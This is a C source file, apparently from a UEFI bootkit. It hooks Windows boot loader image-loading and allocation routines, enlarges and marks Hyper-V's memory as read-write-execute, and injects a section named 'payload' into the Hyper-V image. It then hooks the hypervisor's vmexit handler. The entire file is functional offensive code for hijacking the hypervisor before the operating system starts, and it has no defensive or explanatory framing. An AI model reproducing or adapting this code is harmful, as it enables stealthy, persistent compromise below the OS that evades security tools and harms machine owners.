#include "HvLoader.h" INLINE_HOOK HvLoadImageHook; INLINE_HOOK HvLoadImageBufferHook; INLINE_HOOK HvLoadAllocImageHook; INLINE_HOOK TransferControlShitHook; BOOLEAN HvExtendedAllocation = FALSE; BOOLEAN HvHookedHyperV = FALSE; MAP_PHYSICAL MmMapPhysicalMemory; EFI_STATUS EFIAPI HvBlImgLoadPEImageFromSourceBuffer ( VOID* a1, VOID* a2, VOID* a3, VOID* a4, UINT64* ImageBase, UINT32* ImageSize, VOID* a7, VOID* a8, VOID* a9, VOID* a10, VOID* a11, VOID* a12, VOID* a13, VOID* a14, VOID* a15 ) { // disable hook and call the original... DisableInlineHook(&HvLoadImageBufferHook); EFI_STATUS Result = ((HV_LDR_LOAD_IMAGE_BUFFER)HvLoadImageBufferHook.Address) ( a1, a2, a3, a4, ImageBase, ImageSize, a7, a8, a9, a10, a11, a12, a13, a14, a15 ); // keep hooking until we have extended hyper-v allocation and hooked into hyper-v... if(!HvExtendedAllocation && !HvHookedHyperV) EnableInlineHook(&HvLoadImageBufferHook); if (HvExtendedAllocation && !HvHookedHyperV) { HvHookedHyperV = TRUE; VOYAGER_T VoyagerData; // add a new section to hyper-v called "payload", then fill in voyager data // and hook the vmexit handler... MakeVoyagerData ( &VoyagerData, *ImageBase, *ImageSize, AddSection ( *ImageBase, "payload", PayLoadSize(), SECTION_RWX ), PayLoadSize() ); HookVmExit ( VoyagerData.HypervModuleBase, VoyagerData.HypervModuleSize, MapModule(&VoyagerData, PayLoad) ); // extend the size of the image in hyper-v's nt headers and LDR data entry... // this is required, if this is not done, then hyper-v will simply not be loaded... *ImageSize += NT_HEADER(*ImageBase)->OptionalHeader.SizeOfImage; } return Result; } EFI_STATUS EFIAPI HvBlImgLoadPEImageEx ( VOID* DeviceId, VOID* MemoryType, CHAR16* Path, UINT64* ImageBase, UINT32* ImageSize, VOID* Hash, VOID* Flags, VOID* a8, VOID* a9, VOID* a10, VOID* a11, VOID* a12, VOID* a13 ) { // disable shithook and call the original... DisableInlineHook(&HvLoadImageHook); EFI_STATUS Result = ((HV_LDR_LOAD_IMAGE)HvLoadImageHook.Address) ( DeviceId, MemoryType, Path, ImageBase, ImageSize, Hash, Flags, a8, a9, a10, a11, a12, a13 ); // keep hooking until we have extended hyper-v allocation and hooked into hyper-v... if(!HvExtendedAllocation && !HvHookedHyperV) EnableInlineHook(&HvLoadImageHook); if (HvExtendedAllocation && !HvHookedHyperV) { HvHookedHyperV = TRUE; VOYAGER_T VoyagerData; // add a new section to hyper-v called "payload", then fill in voyager data // and hook the vmexit handler... MakeVoyagerData ( &VoyagerData, *ImageBase, *ImageSize, AddSection ( *ImageBase, "payload", PayLoadSize(), SECTION_RWX ), PayLoadSize() ); HookVmExit ( VoyagerData.HypervModuleBase, VoyagerData.HypervModuleSize, MapModule(&VoyagerData, PayLoad) ); // extend the size of the image in hyper-v's nt headers and LDR data entry... // this is required, if this is not done, then hyper-v will simply not be loaded... *ImageSize = NT_HEADER(*ImageBase)->OptionalHeader.SizeOfImage; } return Result; } UINT64 EFIAPI HvBlImgAllocateImageBuffer ( VOID** imageBuffer, UINTN imageSize, UINT32 memoryType, UINT32 attributes, VOID* unused, UINT32 Value ) { if (imageSize >= HV_ALLOC_SIZE && !HvExtendedAllocation) { HvExtendedAllocation = TRUE; imageSize += PayLoadSize(); // allocate the entire hyper-v module as rwx... memoryType = BL_MEMORY_ATTRIBUTE_RWX; } // disable shithook and call the original function.... DisableInlineHook(&HvLoadAllocImageHook); UINT64 Result = ((ALLOCATE_IMAGE_BUFFER)HvLoadAllocImageHook.Address) ( imageBuffer, imageSize, memoryType, attributes, unused, Value ); // continue shithooking this function until we have extended the allocation of hyper-v... if(!HvExtendedAllocation) EnableInlineHook(&HvLoadAllocImageHook); return Result; }